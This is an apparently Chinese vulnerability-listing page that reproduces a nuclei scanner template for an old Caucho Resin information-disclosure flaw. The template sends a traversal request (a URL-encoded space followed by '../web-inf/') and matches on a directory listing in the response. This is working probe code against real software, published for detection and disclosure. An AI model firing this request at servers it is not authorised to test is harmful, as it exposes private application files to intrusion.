resin-cnnvd-200705-315: Caucho Resin Information Disclosure

日期: 2025-08-01 | 影响软件: Caucho Resin | POC: 已公开

漏洞描述

Sensitive info disclosed in Caucho Resin.

PoC代码[已公开]

id: resin-cnnvd-200705-315

info:
  name: Caucho Resin Information Disclosure
  author: princechaddha
  severity: high
  description: Sensitive info disclosed in Caucho Resin.
  reference:
    - http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200705-315
  metadata:
    max-request: 1
  tags: resin,caucho,lfr

http:
  - method: GET
    path:
      - "{{BaseURL}}/%20../web-inf/"

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        words:
          - "/ ../web-inf/"
          - "Directory of /"
        condition: and
        part: body
# digest: 490a00463044022043db7ba29ebd2748edf18472b7403f5c9baf8461c13d35a37e5ebe71f050ccad02201c654f7c64bbd547e3b807b7dfe40e18784c9c2ae173cdc4debe3d567f174f87:922c64590222798bb761d5b6d8e72950
来源: https://github.com/projectdiscovery/nuclei-templates/blob/main/./http/vulnerabilities/other/resin-cnnvd-200705-315.yaml

相关漏洞推荐